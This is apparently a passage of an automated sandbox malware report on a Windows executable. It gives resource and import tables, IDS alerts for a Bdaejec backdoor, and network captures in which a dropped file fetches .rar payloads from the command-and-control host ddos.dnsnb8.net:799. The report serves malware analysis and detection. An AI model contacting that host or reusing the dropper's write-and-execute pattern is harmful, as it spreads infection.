RT_BITMAP	0x44da28	0x158	Device independent bitmap graphic, 20 x 20 x 4, image size 240, resolution 3780 x 3780 px/m	Chinese	China	0.2616279069767442
RT_BITMAP	0x44db80	0x158	Device independent bitmap graphic, 20 x 20 x 4, image size 240, resolution 3780 x 3780 px/m	Chinese	China	0.2441860465116279
RT_BITMAP	0x44dcd8	0x158	Device independent bitmap graphic, 20 x 20 x 4, image size 240, resolution 3780 x 3780 px/m	Chinese	China	0.24709302325581395
RT_BITMAP	0x44de30	0x158	Device independent bitmap graphic, 20 x 20 x 4, image size 240, resolution 3780 x 3780 px/m	Chinese	China	0.2238372093023256
RT_BITMAP	0x44df88	0x158	Device independent bitmap graphic, 20 x 20 x 4, image size 240	Chinese	China	0.19476744186046513
RT_BITMAP	0x44e0e0	0x158	Device independent bitmap graphic, 20 x 20 x 4, image size 240	Chinese	China	0.20930232558139536
RT_BITMAP	0x44e238	0x158	Device independent bitmap graphic, 20 x 20 x 4, image size 240	Chinese	China	0.18895348837209303
RT_BITMAP	0x44e390	0x5e4	Device independent bitmap graphic, 70 x 39 x 4, image size 1404	Chinese	China	0.34615384615384615
RT_BITMAP	0x44e974	0xb8	Device independent bitmap graphic, 12 x 10 x 4, image size 80	Chinese	China	0.44565217391304346
RT_BITMAP	0x44ea2c	0x16c	Device independent bitmap graphic, 39 x 13 x 4, image size 260	Chinese	China	0.28296703296703296
RT_BITMAP	0x44eb98	0x144	Device independent bitmap graphic, 33 x 11 x 4, image size 220	Chinese	China	0.37962962962962965
RT_ICON	0x44ecdc	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	Chinese	China	0.26344086021505375
RT_ICON	0x44efc4	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	Chinese	China	0.41216216216216217
RT_ICON	0x44f0ec	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384			0.6231695795937647
RT_MENU	0x453314	0xc	data	Chinese	China	1.5
RT_MENU	0x453320	0x284	data	Chinese	China	0.5
RT_DIALOG	0x4535a4	0x98	data	Chinese	China	0.7171052631578947
RT_DIALOG	0x45363c	0x17a	data	Chinese	China	0.5185185185185185
RT_DIALOG	0x4537b8	0xfa	data	Chinese	China	0.696
RT_DIALOG	0x4538b4	0xea	data	Chinese	China	0.6239316239316239
RT_DIALOG	0x4539a0	0x8ae	data	Chinese	China	0.39603960396039606
RT_DIALOG	0x454250	0xb2	data	Chinese	China	0.7359550561797753
RT_DIALOG	0x454304	0xcc	data	Chinese	China	0.7647058823529411
RT_DIALOG	0x4543d0	0xb2	data	Chinese	China	0.6629213483146067
RT_DIALOG	0x454484	0xe2	data	Chinese	China	0.6637168141592921
RT_DIALOG	0x454568	0x18c	data	Chinese	China	0.5227272727272727
RT_STRING	0x4546f4	0x50	data	Chinese	China	0.85
RT_STRING	0x454744	0x2c	data	Chinese	China	0.5909090909090909
RT_STRING	0x454770	0x78	data	Chinese	China	0.925
RT_STRING	0x4547e8	0x1c4	data	Chinese	China	0.8141592920353983
RT_STRING	0x4549ac	0x12a	data	Chinese	China	0.5201342281879194
RT_STRING	0x454ad8	0x146	data	Chinese	China	0.6288343558282209
RT_STRING	0x454c20	0x40	data	Chinese	China	0.65625
RT_STRING	0x454c60	0x64	data	Chinese	China	0.73
RT_STRING	0x454cc4	0x1d8	data	Chinese	China	0.6758474576271186
RT_STRING	0x454e9c	0x114	data	Chinese	China	0.6376811594202898
RT_STRING	0x454fb0	0x24	data	Chinese	China	0.4444444444444444
RT_GROUP_CURSOR	0x454fd4	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.25
RT_GROUP_CURSOR	0x454fe8	0x14	Lotus unknown worksheet or configuration, revision 0x1	Chinese	China	1.25
RT_GROUP_CURSOR	0x454ffc	0x22	Lotus unknown worksheet or configuration, revision 0x2	Chinese	China	1.0294117647058822
RT_GROUP_ICON	0x455020	0x14	data			1.25
RT_GROUP_ICON	0x455034	0x14	data	Chinese	China	1.2
RT_GROUP_ICON	0x455048	0x14	data	Chinese	China	1.25
RT_VERSION	0x45505c	0x240	data	Chinese	China	0.5086805555555556
RT_MANIFEST	0x45529c	0x1cd	XML 1.0 document, ASCII text, with very long lines (461), with no line terminators			0.5878524945770065

Imports

DLL	Import
KERNEL32.dll	FlushFileBuffers, SetFilePointer, GetCurrentProcess, DuplicateHandle, lstrcpynA, FileTimeToLocalFileTime, FileTimeToSystemTime, LocalFree, InterlockedDecrement, SuspendThread, ReleaseMutex, CreateMutexA, TerminateThread, SetLastError, IsBadReadPtr, VirtualFree, VirtualAlloc, GetCurrentProcessId, GetEnvironmentVariableA, CreateSemaphoreA, ResumeThread, ReleaseSemaphore, EnterCriticalSection, LeaveCriticalSection, GetProfileStringA, WriteFile, InterlockedExchange, SetStdHandle, IsBadCodePtr, CompareStringW, CompareStringA, SetUnhandledExceptionFilter, GetStringTypeW, GetStringTypeA, IsBadWritePtr, LCMapStringW, LCMapStringA, SetEnvironmentVariableA, HeapCreate, HeapDestroy, GetFileType, GetStdHandle, SetHandleCount, GetEnvironmentStringsW, GetEnvironmentStrings, FreeEnvironmentStringsW, FreeEnvironmentStringsA, UnhandledExceptionFilter, GetACP, HeapSize, RaiseException, WaitForMultipleObjects, CreateFileA, SetEvent, FindResourceA, LoadResource, LockResource, SizeofResource, ReadFile, lstrlenW, GetModuleFileNameA, WideCharToMultiByte, MultiByteToWideChar, GetCurrentThreadId, ExitProcess, GlobalSize, GlobalFree, DeleteCriticalSection, InitializeCriticalSection, lstrcatA, lstrlenA, WinExec, lstrcpyA, FindNextFileA, GlobalReAlloc, HeapFree, HeapReAlloc, GetProcessHeap, HeapAlloc, GetUserDefaultLCID, GetFullPathNameA, FreeLibrary, LoadLibraryA, GetLastError, GetVersionExA, WritePrivateProfileStringA, GetPrivateProfileStringA, CreateThread, CreateEventA, Sleep, GlobalAlloc, GlobalLock, GlobalUnlock, GetTempPathA, FindFirstFileA, FindClose, GetFileAttributesA, DeleteFileA, GetLocalTime, GetSystemTime, GetTimeZoneInformation, TerminateProcess, RtlUnwind, GetStartupInfoA, GetOEMCP, GetCPInfo, GetProcessVersion, SetErrorMode, GlobalFlags, GetCurrentThread, GetFileTime, GetFileSize, TlsGetValue, LocalReAlloc, TlsSetValue, TlsFree, GlobalHandle, TlsAlloc, LocalAlloc, lstrcmpA, GetVersion, GlobalGetAtomNameA, GlobalAddAtomA, GlobalFindAtomA, GetCurrentDirectoryA, SetCurrentDirectoryA, GetVolumeInformationA, GetModuleHandleA, GetProcAddress, MulDiv, GetCommandLineA, GetTickCount, GlobalDeleteAtom, lstrcmpiA, SetEndOfFile, UnlockFile, LockFile, WaitForSingleObject, CloseHandle, InterlockedIncrement
USER32.dll	GetScrollPos, wsprintfA, CloseClipboard, GetClipboardData, OpenClipboard, SetClipboardData, EmptyClipboard, GetSystemMetrics, GetCursorPos, MessageBoxA, SetWindowPos, SendMessageA, DestroyCursor, SetParent, IsWindow, PostMessageA, GetTopWindow, GetParent, GetFocus, GetClientRect, InvalidateRect, ValidateRect, UpdateWindow, EqualRect, GetWindowRect, SetForegroundWindow, DestroyMenu, IsChild, ReleaseDC, IsRectEmpty, FillRect, GetDC, SetCursor, LoadCursorA, SetCursorPos, SetActiveWindow, GetSysColor, SetWindowLongA, GetWindowLongA, RedrawWindow, EnableWindow, IsWindowVisible, OffsetRect, PtInRect, DestroyIcon, IntersectRect, InflateRect, SetRect, SetScrollPos, SetScrollRange, GetScrollRange, SetCapture, GetCapture, ReleaseCapture, SetTimer, KillTimer, WinHelpA, LoadBitmapA, LoadIconA, TranslateMessage, DrawFrameControl, DrawEdge, DrawFocusRect, WindowFromPoint, GetMessageA, DispatchMessageA, SetRectEmpty, RegisterClipboardFormatA, CreateIconFromResourceEx, CreateIconFromResource, DrawIconEx, CreatePopupMenu, AppendMenuA, ModifyMenuA, CreateMenu, CreateAcceleratorTableA, GetDlgCtrlID, GetSubMenu, EnableMenuItem, ClientToScreen, EnumDisplaySettingsA, LoadImageA, SystemParametersInfoA, ShowWindow, IsWindowEnabled, TranslateAcceleratorA, GetKeyState, CopyAcceleratorTableA, PostQuitMessage, IsZoomed, GetClassInfoA, DefWindowProcA, GetSystemMenu, DeleteMenu, GetMenu, GetWindowTextA, GetWindowTextLengthA, CharUpperA, GetWindowDC, BeginPaint, EndPaint, TabbedTextOutA, DrawTextA, GrayStringA, GetDlgItem, DestroyWindow, CreateDialogIndirectParamA, EndDialog, GetNextDlgTabItem, GetWindowPlacement, RegisterWindowMessageA, GetForegroundWindow, GetLastActivePopup, GetMessageTime, RemovePropA, CallWindowProcA, GetPropA, UnhookWindowsHookEx, SetPropA, GetClassLongA, CallNextHookEx, SetWindowsHookExA, CreateWindowExA, GetMenuItemID, GetMenuItemCount, RegisterClassA, UnregisterClassA, AdjustWindowRectEx, MapWindowPoints, SendDlgItemMessageA, ScrollWindowEx, IsDialogMessageA, SetWindowTextA, MoveWindow, CheckMenuItem, SetMenuItemBitmaps, GetMenuState, GetMenuCheckMarkDimensions, GetClassNameA, GetDesktopWindow, LoadStringA, GetSysColorBrush, SetMenu, PeekMessageA, IsIconic, SetFocus, GetActiveWindow, GetWindow, DestroyAcceleratorTable, SetWindowRgn, GetMessagePos, ScreenToClient, ChildWindowFromPointEx, CopyRect
GDI32.dll	SelectPalette, RealizePalette, GetDIBits, GetWindowExtEx, GetViewportOrgEx, GetWindowOrgEx, BeginPath, EndPath, PathToRegion, CreateEllipticRgn, CreateRoundRectRgn, GetTextColor, GetBkMode, GetBkColor, GetROP2, GetStretchBltMode, GetPolyFillMode, CreateCompatibleBitmap, CreateDCA, CreateBitmap, SelectObject, CreatePen, PatBlt, CombineRgn, CreateRectRgn, FillRgn, CreateSolidBrush, CreateFontIndirectA, GetStockObject, GetObjectA, EndPage, EndDoc, DeleteDC, StartDocA, StretchBlt, BitBlt, CreateCompatibleDC, Ellipse, Rectangle, LPtoDP, DPtoLP, GetCurrentObject, RoundRect, GetTextExtentPoint32A, GetDeviceCaps, SaveDC, RestoreDC, SetBkMode, SetPolyFillMode, SetROP2, SetTextColor, SetMapMode, SetViewportOrgEx, OffsetViewportOrgEx, SetViewportExtEx, ScaleViewportExtEx, SetWindowOrgEx, SetWindowExtEx, ScaleWindowExtEx, GetClipBox, ExcludeClipRect, MoveToEx, LineTo, ExtSelectClipRgn, CreatePalette, GetSystemPaletteEntries, CreateDIBitmap, DeleteObject, SelectClipRgn, CreatePolygonRgn, GetClipRgn, SetStretchBltMode, CreateRectRgnIndirect, SetBkColor, StartPage, GetTextMetricsA, Escape, ExtTextOutA, TextOutA, RectVisible, PtVisible, GetViewportExtEx
WINMM.dll	midiStreamRestart, midiStreamClose, midiOutReset, midiStreamStop, midiStreamOut, midiOutPrepareHeader, midiStreamProperty, midiStreamOpen, midiOutUnprepareHeader, waveOutOpen, waveOutGetNumDevs, waveOutClose, waveOutReset, waveOutPause, waveOutWrite, waveOutPrepareHeader, waveOutUnprepareHeader, waveOutRestart
WINSPOOL.DRV	ClosePrinter, DocumentPropertiesA, OpenPrinterA
ADVAPI32.dll	RegCloseKey, RegOpenKeyExA, RegQueryValueA, RegSetValueExA, RegCreateKeyExA
SHELL32.dll	ShellExecuteA, Shell_NotifyIconA
ole32.dll	CLSIDFromProgID, OleInitialize, OleUninitialize, CLSIDFromString, CoCreateInstance, OleRun
OLEAUT32.dll	SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayGetDim, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayGetElement, VariantCopyInd, VariantInit, SysAllocString, SafeArrayDestroy, SafeArrayCreate, SafeArrayPutElement, RegisterTypeLib, LHashValOfNameSys, LoadTypeLib, UnRegisterTypeLib, VariantClear, VariantChangeType
COMCTL32.dll	ImageList_GetImageCount, ImageList_SetBkColor, ImageList_Destroy, ImageList_Read, ImageList_Duplicate
WS2_32.dll	recvfrom, ioctlsocket, recv, getpeername, accept, ntohl, WSAAsyncSelect, inet_ntoa, closesocket, WSACleanup
comdlg32.dll	GetFileTitleA, GetSaveFileNameA, GetOpenFileNameA, ChooseColorA

Exports

Name	Ordinal	Address
e2ee_CacheClear	1	0x476b40
e2ee_CacheDecr	2	0x476b80
e2ee_CacheDelete	3	0x476b20
e2ee_CacheExists	4	0x476b00
e2ee_CacheGet	5	0x476a40
e2ee_CacheGetMulti	6	0x476ac0
e2ee_CacheGetMultiText	7	0x476ae0
e2ee_CacheGetText	8	0x476a60
e2ee_CacheIncr	9	0x476b60
e2ee_CacheSet	10	0x476a80
e2ee_CacheSetExpire	11	0x476ba0
e2ee_CacheSetText	12	0x476aa0

Possible Origin

Language of compilation system	Country where language is spoken	Map
Chinese	China

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-24T23:49:20.932540+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49741	20.12.23.50	192.168.2.4
2024-07-24T23:49:03.660681+0200	TCP	2807908	ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin	49730	799	192.168.2.4	44.221.84.105
2024-07-24T23:49:08.723751+0200	TCP	2807908	ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin	49731	799	192.168.2.4	44.221.84.105
2024-07-24T23:49:23.114028+0200	TCP	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	49743	443	192.168.2.4	13.89.179.12
2024-07-24T23:49:58.296193+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49744	20.12.23.50	192.168.2.4
2024-07-24T23:49:02.882461+0200	UDP	2838522	ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup	55441	53	192.168.2.4	1.1.1.1

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 24, 2024 23:49:03.241332054 CEST	49730	799	192.168.2.4	44.221.84.105
Jul 24, 2024 23:49:03.249254942 CEST	799	49730	44.221.84.105	192.168.2.4
Jul 24, 2024 23:49:03.249592066 CEST	49730	799	192.168.2.4	44.221.84.105
Jul 24, 2024 23:49:03.250174999 CEST	49730	799	192.168.2.4	44.221.84.105
Jul 24, 2024 23:49:03.257889032 CEST	799	49730	44.221.84.105	192.168.2.4
Jul 24, 2024 23:49:03.659729958 CEST	799	49730	44.221.84.105	192.168.2.4
Jul 24, 2024 23:49:03.660010099 CEST	799	49730	44.221.84.105	192.168.2.4
Jul 24, 2024 23:49:03.660681009 CEST	49730	799	192.168.2.4	44.221.84.105
Jul 24, 2024 23:49:03.660681009 CEST	49730	799	192.168.2.4	44.221.84.105
Jul 24, 2024 23:49:03.676515102 CEST	49730	799	192.168.2.4	44.221.84.105
Jul 24, 2024 23:49:03.690068007 CEST	799	49730	44.221.84.105	192.168.2.4
Jul 24, 2024 23:49:08.293709040 CEST	49731	799	192.168.2.4	44.221.84.105
Jul 24, 2024 23:49:08.298846006 CEST	799	49731	44.221.84.105	192.168.2.4
Jul 24, 2024 23:49:08.298970938 CEST	49731	799	192.168.2.4	44.221.84.105
Jul 24, 2024 23:49:08.299634933 CEST	49731	799	192.168.2.4	44.221.84.105
Jul 24, 2024 23:49:08.304548979 CEST	799	49731	44.221.84.105	192.168.2.4
Jul 24, 2024 23:49:08.723659039 CEST	799	49731	44.221.84.105	192.168.2.4
Jul 24, 2024 23:49:08.723685026 CEST	799	49731	44.221.84.105	192.168.2.4
Jul 24, 2024 23:49:08.723751068 CEST	49731	799	192.168.2.4	44.221.84.105
Jul 24, 2024 23:49:23.682876110 CEST	49731	799	192.168.2.4	44.221.84.105

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 24, 2024 23:49:02.882461071 CEST	55441	53	192.168.2.4	1.1.1.1
Jul 24, 2024 23:49:03.235528946 CEST	53	55441	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 24, 2024 23:49:02.882461071 CEST	192.168.2.4	1.1.1.1	0x1962	Standard query (0)	ddos.dnsnb8.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 24, 2024 23:49:03.235528946 CEST	1.1.1.1	192.168.2.4	0x1962	No error (0)	ddos.dnsnb8.net		44.221.84.105	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ddos.dnsnb8.net:799

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	44.221.84.105	799	5356	C:\Users\user\AppData\Local\Temp\XFAGWZ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 23:49:03.250174999 CEST	288	OUT	GET /cj//k1.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	44.221.84.105	799	5356	C:\Users\user\AppData\Local\Temp\XFAGWZ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 24, 2024 23:49:08.299634933 CEST	288	OUT	GET /cj//k2.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive

Target ID:	0
Start time:	17:49:01
Start date:	24/07/2024
Path:	C:\Users\user\Desktop\8VB4lVuZk3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\8VB4lVuZk3.exe"
Imagebase:	0x400000
File size:	4'354'058 bytes
MD5 hash:	51309D30F3FB3295FEA0B6D3084C4D26
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	17:49:02
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Local\Temp\XFAGWZ.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\XFAGWZ.exe
Imagebase:	0x6b0000
File size:	15'872 bytes
MD5 hash:	56B2C3810DBA2E939A8BB9FA36D3CF96
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:49:08
Start date:	24/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5356 -s 1224
Imagebase:	0x8d0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	87.5%
Total number of Nodes:	8
Total number of Limit Nodes:	1

Executed Functions

Function 00856044 Relevance: 33.4, APIs: 4, Strings: 15, Instructions: 171
fileprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 00856223
WriteFile.KERNELBASE(00000000,FFC489DC,00003E00,?,00000000), ref: 00856252
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00856256
WinExec.KERNEL32(?,00000005), ref: 00856262

Strings

odul, xrefs: 0085622D
XFAGWZ.exe, xrefs: 008561FD, 00856200
catA, xrefs: 008561AF
Clos, xrefs: 00856129
WinE, xrefs: 00856110
athA, xrefs: 00856199
Crea, xrefs: 00856169
dleA, xrefs: 008560D0
Kern, xrefs: 008560F4
GetM, xrefs: 008560B6
el32, xrefs: 008560FB
GetT, xrefs: 00856188
Writ, xrefs: 00856148
.dll, xrefs: 00856102
lstr, xrefs: 008561A7

Memory Dump Source

Source File: 00000000.00000002.2942537816.0000000000856000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2941723444.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2941755897.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2941872404.00000000004C4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2941872404.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2941952785.00000000004E7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2941986789.00000000004E9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942019246.00000000004EB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942095341.000000000053A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942123386.000000000053D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942123386.000000000054A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942123386.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942123386.000000000056B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942123386.0000000000571000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942304860.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2942565440.0000000000857000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8VB4lVuZk3.jbxd

Similarity

API ID: File$ChangeCloseCreateExecFindNotificationWrite
String ID: .dll$Clos$Crea$GetM$GetT$Kern$WinE$Writ$XFAGWZ.exe$athA$catA$dleA$el32$lstr$odul
API String ID: 2234911746-3738084585
Opcode ID: 61e831d16214447f6678b16393c57fc794cbf310ac324a724d67e3123be6d0c6
Instruction ID: cc13e2f2223feac0f81d4c91107f5ec16739f9be00fcb9e0733b64e44cb0ea41
Opcode Fuzzy Hash: 61e831d16214447f6678b16393c57fc794cbf310ac324a724d67e3123be6d0c6
Instruction Fuzzy Hash: AE613A74D41619DBCF24CF94C984ABDBBB4FF44316FA481AAD805AB202E7309E95CB91

Non-executed Functions

Function 6CA35DF0 Relevance: 6.1, APIs: 4, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6CA35E15
_free.LIBCMT ref: 6CA35E4F
GetProcessHeap.KERNEL32(00000000), ref: 6CA35E75
HeapFree.KERNEL32(00000000), ref: 6CA35E7C

Memory Dump Source

Source File: 00000000.00000002.2943336648.000000006C7A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000000.00000002.2943319489.000000006C7A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943702385.000000006CCFA000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943883446.000000006CF6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943904565.000000006CF70000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943918725.000000006CF71000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943932489.000000006CF72000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943946986.000000006CF77000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944003529.000000006CF79000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944022692.000000006CF91000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944038142.000000006CF93000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944052019.000000006CF97000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944067263.000000006CF98000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944088790.000000006CFB2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944088790.000000006CFB6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D000000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D005000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944368391.000000006D00F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944368391.000000006D021000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7a0000_8VB4lVuZk3.jbxd

Similarity

API ID: Heap_free$FreeProcess
String ID:
API String ID: 1072109031-0
Opcode ID: 959cfa7cacaaaa37a6605f2ed99b6fe915078aa76a186cc34bced5153c3a745d
Instruction ID: c91ca10c04767193e89d5637acc60afcfbc29ab0cc937b4d7828fba5d9bc5889
Opcode Fuzzy Hash: 959cfa7cacaaaa37a6605f2ed99b6fe915078aa76a186cc34bced5153c3a745d
Instruction Fuzzy Hash: A3114532605A209FE7209A6CCC41B47B3F5BF44A14F289828E5AAC6AA0D765F885CB50

Function 6C8A6620 Relevance: 3.0, APIs: 2, Instructions: 44comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(6CEDC72C,00000000,00000017,6CEDC2D8,D2AB1C0E,6CE8D2F0,6CE8D2F0,D2AB1C0E,6C89C364,?,?,?,00000000), ref: 6C8A6644
OleRun.OLE32(?), ref: 6C8A6654

Memory Dump Source

Source File: 00000000.00000002.2943336648.000000006C7A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000000.00000002.2943319489.000000006C7A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943702385.000000006CCFA000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943883446.000000006CF6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943904565.000000006CF70000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943918725.000000006CF71000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943932489.000000006CF72000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943946986.000000006CF77000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944003529.000000006CF79000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944022692.000000006CF91000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944038142.000000006CF93000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944052019.000000006CF97000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944067263.000000006CF98000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944088790.000000006CFB2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944088790.000000006CFB6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D000000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D005000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944368391.000000006D00F000.00000002.00000001.01000000.00000007.sdmpDownload File
